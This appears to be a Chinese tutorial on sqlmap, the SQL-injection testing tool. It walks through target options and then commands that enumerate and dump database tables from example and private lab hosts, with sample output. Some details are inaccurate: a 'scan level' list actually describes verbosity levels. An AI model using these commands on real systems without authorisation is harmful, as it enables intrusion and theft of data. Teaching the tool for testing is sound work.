0x00 SQLMAP简介
-
sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常大的检测引擎、具有多种特性的渗透实测器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。
-
支持的数据库:mysql,oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase and SAP MaxDB
-
SQL注入技术:错误注入,基于时间的错误注入,报错注入,union注入
-
枚举数据:users,password hasher,privileges,roles,databases,tables and columns
0x01 Sqlmap扫描等级(共有7个等级,默认为1)
-
0、只显示python错误以及严重的信息
-
1、同时显示基本信息和警告信息。(默认)
-
2、同时显示debug信息
-
3、同时显示注入的payload
-
4、同时显示HTTP请求
-
5、同时显示HTTP响应头
-
6、同时显示HTTP响应面
0x02 获取目标方式
-
参数:-u 或 --url
1
|
eg:python sqlmap.py -u http(s):
//targeturl
[:port]/[...]
|
0x03 从文本中获取多个目标扫描
-
参数:-m
-
文件中保存url格式如下,sqlmap会一个一个检测
1
2
3
4
5
|
www.target1.com
/vuln1
.php?q=foobar
www.target2.com
/vuln2
.asp?
id
=1
www.target3.com
/vuln3/id/1
*
|
0x04 从文件中加载HTTP请求
-
参数: -r
-
sqlmap可以从一个文本中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。
1
2
3
4
5
|
POST
/vuln
.php HTTP
/1
.1
Host: www.target.com
User-Agent: Mozilla
/4
.0
id
=1
|
0x05 POST方式注入
-
参数: --data
-
此参数是吧数据以post方式提交,sqlmap会像检测GET参数一样检测POST的参数。
1
|
eg:python sqlmap.py -u
"http://www.target.com/vuln.php"
--data=
"id=1"
|
0x06 设定超时时间
-
参数: --timeout
-
可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。
0x07 设定重试超时
-
参数: --retries
-
当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次
0x08 测试参数
-
*
-
在伪静态注入测试时,sqlmap无法直接使用测试参数,可以在想测试参数的参数后面加*
1
2
3
4
|
eg:
1.python sqlmap.py -u
"http://targeturl/param1/value1*/param2/value2/"
2.python sqlmap.py -u
"http://targeturl/param1/value1/param2/value2/15*"
|
0x09 列举数据库系统的数据库
-
参数:--dbs
-
当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。
0x10 列举数据库表
-
参数: --tables -D
-
列举指定数据库 -D xxxx 的所有表。如果不指定-D 则列举所有数据库中的所有表。
0x11 列举书库表中的字段
-
参数:--columns -T -D
-
列举指定数库,指定表中的字段。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
eg:
python sqlmap.py -u
"http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1"
--columns -D testdb -T
users
[...]
Database: SQLite_masterdb
Table:
users
[3 columns]
+---------+---------+
| Column | Type |
+---------+---------+
|
id
| INTEGER |
| name | TEXT |
| surname | TEXT |
+---------+---------+
|
0x12 获取表中数据个数
-
参数: --count
-
列举指定数据库表中的数据个数。
1
2
3
4
5
6
7
8
9
10
|
eg:
python sqlmap.py -u
"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"
--count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table | Entries |
+----------------+---------+
| dbo.
users
| 4 |
| dbo.users_blob | 2 |
+----------------+---------+
|
0x13 获取整个表的数据或某几个字段的数据。
-
--dump -D -T -C
-
列举某个数据库某个表的所有字段
1
|
python sqlmap.py -u http:
//192
.168.21.129
/sqlmap/mssql/iis/get_int
.asp?
id
=1 --dump -D testdb -T dbo.
users
|
-
列举某个数据库的某个表的某个字段的数据。
1
|
python sqlmap.py -u http:
//192
.168.21.129
/sqlmap/mssql/iis/get_int
.asp?
id
=1 --dump -D testdb -T dbo.
users
-C ID,NAME
|